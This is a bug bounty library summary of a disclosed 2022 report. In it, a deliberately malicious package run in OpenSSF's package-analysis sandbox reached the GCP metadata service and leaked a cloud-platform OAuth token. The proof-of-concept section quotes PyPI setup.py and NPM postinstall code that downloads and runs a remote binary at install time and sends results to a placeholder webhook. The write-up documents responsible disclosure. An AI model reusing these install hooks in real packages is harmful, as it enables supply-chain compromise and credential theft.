# Launching a Supply Chain Counterattack Against Google and OpenSSF

Malicious NPM package executed in OpenSSF's package-analysis sandbox reached GCP instance metadata, leaking an OAuth token with cloud-platform scope.

- Payout: $1,337
- Severity: high
- Program: Google
- Found by: Alan Cao
- Disclosed: 2022-04-23
- Write-up quality: 8/10
- Original: https://web.archive.org/web/20240920212628/https://codemuch.tech/2022/04/23/supply-chain-counterattack/ (archived copy; the original page https://codemuch.tech/2022/04/23/supply-chain-counterattack/ is gone)
- Library page: https://bugbountylibrary.com/r/blog%3Acodemuch-tech-2022-04-23-supply-chain-counterattack
- Tags: area:oss domain:cloud domain:oss impact:internal-access impact:privesc kind:bounty platform:blog sev:high tech:gcp tech:nodejs technique:recon vuln:misconfiguration vuln:secrets-leak vuln:ssrf

**Target:** OpenSSF package-analysis dynamic analysis sandbox (Podman container)
**Root cause:** Analysis sandbox container lacked network restrictions to the GCP instance metadata endpoint (169.254.169.254), so attacker-controlled install scripts could fetch the service account OAuth token.
**Steps:**
1. Publish malicious NPM package with `postinstall` script that downloads a Go binary (`sneak`) from GitHub Releases and executes it with `-webhook=<attacker URL>`
2. Wait for ossf/package-feeds to ingest the package and package-analysis to install it in a Podman sandbox
3. Binary dumps env vars, requests `http://169.254.169.254/...` metadata endpoints, extracts OAuth token
4. Exfiltrate token and env data to webhook.site
5. Use token with `cloud-platform` scope to enumerate GCP project resources
**How found:** Hypothesized that emerging package-detection pipelines rely on eBPF/dynamic analysis that executes install scripts in sandboxes; reasoned those sandboxes are themselves attack surfaces and tested by publishing intentionally malicious packages to see if detectors would run them and whether metadata endpoints were reachable.
**Exploitation:** Attacker publishes a package to a public registry; automated detection pipeline pulls and installs it in a sandbox; install-time code executes the malware which queries the GCP metadata service and exfiltrates the resulting OAuth token to an attacker-controlled webhook, granting cloud-platform-scoped access to the OpenSSF project.
**Escalation:** Token had `https://www.googleapis.com/auth/cloud-platform` scope, enabling potential lateral movement into other Google-managed internal infrastructure.
**Insight:** Malware-analysis and package-scanning sandboxes execute attacker code by design—treat them as targets: publish a benign-looking package with install hooks that probe 169.254.169.254 and exfiltrate to a webhook to test whether the analyzer's container egress is restricted.

## Proof of concept (copied exactly from the original report)

**Malicious PyPI setup.py downloads and runs sneak**

```
import os
import urllib.request
import ssl
from subprocess import Popen, PIPE, STDOUT

from setuptools import setup
from setuptools.command.install import install

ssl._create_default_https_context = ssl._create_unverified_context

MALWARE = "https://github.com/ex0dus-0x/sneak/releases/download/prerelease/sneak"
WEBHOOK = "https://<WEBHOOK_URL>.com/"

class IntentionallyMalicious(install):
 def run(self):
 fd = urllib.request.urlretrieve(MALWARE, "sneak", )
 os.system("chmod +x ./sneak")
 cmd = f'./sneak -webhook={WEBHOOK}'
 p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
 p.communicate()

setup(
 name="intentionally-malicious1",
 cmdclass={
 "install": IntentionallyMalicious
 },
 ...
)
```

**Malicious NPM postinstall downloads and executes sneak**

```
const request = require('request');
const fs = require('fs');
const exec = require('child_process').exec;

const url = "https://github.com/ex0dus-0x/sneak/releases/download/prerelease/sneak"
const file = fs.createWriteStream("sneak");
request({
 followAllRedirects: true,
 url: url
}, function (error, response, body) {
 request(url).pipe(file).on('close', function() {
 console.log("done");
 exec('chmod +x ./sneak && ./sneak -webhook=https://<WEBHOOK_URL>.com/')
```

